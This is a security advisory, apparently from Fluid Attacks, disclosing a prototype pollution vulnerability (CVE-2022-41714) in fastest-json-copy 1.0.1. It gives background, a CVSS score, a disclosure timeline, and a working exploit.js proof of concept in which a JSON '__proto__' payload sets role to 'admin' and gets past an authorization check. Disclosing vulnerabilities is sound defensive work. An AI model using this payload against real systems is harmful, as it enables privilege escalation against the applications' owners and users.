fastest-json-copy 1.0.1 - Prototype Pollution

Summary

Namefastest-json-copy 1.0.1 - Prototype Pollution
Code name
Productfastest-json-copy
Affected versionsVersion 1.0.1
StatePublic
Release date2022-10-19

Vulnerability

KindPrototype Pollution
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVSSv3.1 Base Score7.3
Exploit availableYes
CVE ID(s)

Description

Version 1.0.1 of fastest-json-copy allows an external attacker to edit or add new properties to an object. This is possible because the application does not correctly validate the incoming JSON keys, thus allowing the __proto__ property to be edited.

Vulnerability

Prototype pollution is a vulnerability that affects JS. It occurs when a third party manages to modify the __proto__ of an object. JavaScript first checks if such a method/attribute exists in the object. If so, then it calls it. If not, it looks in the object's prototype. If the method/attribute is also not in the object's prototype, then the property is said to be undefined.

Therefore, if an attacker succeeds in injecting the __proto__ property into an object, he will succeed in injecting or editing its properties.

Exploitation

exploit.js

const copy = require('fastest-json-copy'); let admin = {name: "admin", role:"admin"}; let user = {name: "user" , role:"user"}; let normal_user_request = JSON.parse('{"name":"user","role":"admin"}'); let malicious_user_request = JSON.parse('{"name":"user","__proto__":{"role":"admin"}}'); const create_user = (new_user) => {
    // A user cannot alter his role. This way we prevent privilege escalations.
    if(new_user?.role && new_user?.role.toLowerCase() === "admin") {
        throw "Unauthorized Action";
    }
    user = copy.copy(new_user);
    console.log(user);
}

try {
    create_user(normal_user_request);
} catch (error) {
    console.log(error);
}
finally {
    create_user(malicious_user_request);
}

Evidence of exploitation

Prototype-Pollution

Our security policy

We have reserved the CVE-2022-41714 to refer to this issue from now on.

System Information

  • Version: fastest-json-copy 1.0.1

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/streamich/fastest-json-copy

Timeline

Time-lapse-logo

2022-10-06

Vulnerability discovered.

Time-lapse-logo

2022-10-06

Vendor contacted.

Time-lapse-logo

2022-10-06

Vendor replied acknowledging the report.

Time-lapse-logo

2022-10-19

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.